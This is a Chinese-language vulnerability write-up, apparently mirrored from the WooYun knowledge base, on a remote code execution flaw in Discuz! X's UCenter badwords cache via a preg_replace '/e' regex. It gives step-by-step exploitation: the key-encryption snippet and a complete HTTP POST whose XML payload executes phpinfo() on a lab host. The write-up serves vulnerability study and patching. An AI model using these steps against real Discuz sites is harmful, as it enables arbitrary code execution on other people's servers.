Discuz! X系列遠端程式碼執行漏洞分析

wyzsk發表於2020-08-19
作者: tang3 · 2015/08/10 15:05

0x00 漏洞概述


上週有一個朋友問我有沒有辦法在知道uc的appkey的情況下getshell,剛好我在原來看discuz程式碼時曾經有過幾個相關的想法,但是一直沒有仔細去看,接著這個機會去看了下,果然有個很好玩的程式碼執行漏洞。

0x01 漏洞根源


這個問題的根源在於api/uc.php檔案中的updatebadwords方法,程式碼如下:

#!php
function updatebadwords($get, $post) {
        global $_G;

        if(!API_UPDATEBADWORDS) {
            return API_RETURN_FORBIDDEN;
        }

        $data = array();
        if(is_array($post)) {
            foreach($post as $k => $v) {
                $data['findpattern'][$k] = $v['findpattern'];
                $data['replace'][$k] = $v['replacement'];
            }
        }
        $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php';
        $fp = fopen($cachefile, 'w');
        $s = "<?php\r\n";
        $s .= '$_CACHE[\'badwords\'] = '.var_export($data, TRUE).";\r\n";
        fwrite($fp, $s);
        fclose($fp);

        return API_RETURN_SUCCEED;
    }

方法引數中的$get$post就是使用者所傳入的內容,從上面程式碼我們可以看出在解析$post內容之後,將其寫入到名為badwords的快取中。這裡程式碼使用了var_export來避免使用者傳遞單引號來封閉之前語句,注入php程式碼。

但是這裡有兩個關鍵詞讓我眼前一亮“findpattern”和“replacement”,也就是說這個快取內容是會被作為執行的。那麼如果我向findpattern中傳入帶有e引數的正規表示式,不就可以實現任意程式碼執行了嗎?

0x02 漏洞觸發


全域性程式碼搜了下badwords,用的地方比較少,主要集中在uc的pm和user模組中。這裡我用user來舉例,在uc_client/model/user.php檔案中有一個check_usernamecensor方法,來校驗使用者名稱中是否有badwords,如果有的話就將他替換掉,程式碼如下:

#!php
function check_usernamecensor($username) {
    $_CACHE['badwords'] = $this->base->cache('badwords');
    $censorusername = $this->base->get_setting('censorusername');
    $censorusername = $censorusername['censorusername'];
    $censorexp = '/^('.str_replace(array('\\*', "\r\n", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i';
    $usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $username;
    if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) {
        return FALSE;
    } else {
        return TRUE;
    }
}

可以看到程式碼中使用了preg_replace,那麼如果我們的正規表示式寫成“/.*/e",就可以在使用這個方法的地方進行任意程式碼執行了。而這個方法在disucz中,只要是新增或者修改使用者名稱的地方都會用到。

0x03 漏洞利用


首先我們們訪問api/uc.php(居然可以直接訪問,好開心),之後我們會發現uc處理機制中比較討厭的環節——使用者傳遞的引數需要經過UC_KEY加密:

#!php
if(!defined('IN_UC')) {
    require_once '../source/class/class_core.php';

    $discuz = C::app();
    $discuz->init();

    require DISCUZ_ROOT.'./config/config_ucenter.php';

    $get = $post = array();

    $code = @$_GET['code'];
    parse_str(authcode($code, 'DECODE', UC_KEY), $get);

所以這裡需要有個前提,需要知道UC_KEY或者可以操控UC_KEY。那麼問題來了,我們要怎麼達到這個前提呢?

我們在後臺中站長->UCenter設定中發現有“UCenter 通訊金鑰”這個欄位,這是用於操控discuz和uc連線的app key,而非高階的uc_server key,不過對於我們getshell來說足夠了。在這裡修改為任意值,這樣我們就獲取到了加密用的key值了。

enter image description here

從下圖我們可以看到,配置檔案已經被修改了:

enter image description here

然後我們在自己搭建的discuz的api/uc.php檔案中新增兩行程式碼,來加密get請求所需要的內容:

#!php
$a = 'time='.time().'&action=updatebadwords';
   $code = authcode($a, 'ENCODE', 'tang3');
   echo $code;exit;

這樣我們就可以獲取到加密後的code值了!

enter image description here

然後用post方法向api/uc.php傳送帶有正規表示式資訊的xml資料包,請求頭中有兩個地方需要注意,一個是formhash,一個是剛才獲取的code需要進行一次url編碼,否則解密會出現問題。我使用的資料包如下圖所示:

POST /discuzx3.220150602/api/uc.php?formhash=e6d7c425&code=38f8nhcm4VRgdUvoEUoEs/OpuXNJDgh0Qfep%2bT52HDEyTpHnR4PQ80%2be%2bNCyOWI0DMrXizYwbGFcM/J0Y3a8Zc/N HTTP/1.1
Host: 192.168.188.144
Proxy-Connection: keep-alive
Content-Length: 178
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://192.168.188.144
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2415.0 Safari/537.36
Content-Type: text/xml
Referer: http://192.168.188.144/discuzx3.220150602/admin.php?action=setting&operation=uc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: FPDO_2132_saltkey=Z777zGG4; FPDO_2132_lastvisit=1432691505; FPDO_2132_ulastactivity=5830S8vsYWw6CpVTPpdtOgw6cPIZugHKtMQidjBgfdqDGbQJfSmj; so6a_2132_saltkey=JjZJ2klz; so6a_2132_lastvisit=1433227409; so6a_2132_nofavfid=1; so6a_2132_forum_lastvisit=D_2_1433233630; so6a_2132_visitedfid=2; so6a_2132_editormode_e=1; so6a_2132_smile=1D1; so6a_2132_lastcheckfeed=1%7C1433239071; XDEBUG_SESSION=PHPSTORM; so6a_2132_ulastactivity=5238LLJuvhc%2FhKaXEaIzRYm5hbbEAlOy3RL8Lc92aDETkVQJidZY; so6a_2132_auth=96c9HcEpd8OxPZh6GE5stu4Uov%2BUncVwxWbetMvF%2BFZLNuEVj8VoiFyDMkWkXdQ81eg%2F6522CLnsHbkzv%2Fdu; so6a_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; so6a_2132_creditbase=0D0D10D0D0D0D0D0D0; so6a_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; so6a_2132_checkupgrade=1; so6a_2132_lastact=1433476664%09admin.php%09; so6a_2132_sid=LE2xb1

<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
    <item id="balabala">
        <item id="findpattern">/.*/e</item>
        <item id="replacement">phpinfo();</item>
    </item>
</root>

傳送後可以發現uc_client/data/cache目錄下的badwords.php內容變為了我們剛剛設定的正規表示式的樣子:

enter image description here

之後利用方法就有很多種了,可以透過增加一個使用者來實現程式碼執行,也可以透過發訊息的方式來觸發,這裡我以新增一個使用者為例。

enter image description here

enter image description here

0x04 漏洞總結


漏洞小結

1.影響範圍個人評價為“高”,Discuz! X系列cms在國內使用範圍極廣,幾乎所有中小型論壇都是用它搭建的。

2.危害性個人評價為“高”,這個漏洞不只是單純的後臺程式碼執行,在uc_app key洩露的情況下也是可以利用的,很多轉賬對於uc_app key重視程度不是很大,所以相對來說危害性還是非常高的。

防護方案

限制使用者提交正規表示式的內容,允許提交正規表示式就可以了,就不要讓使用者提交正則引數了吧。而且純粹的使用正規表示式替換字串,str_replace不可以嗎?

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章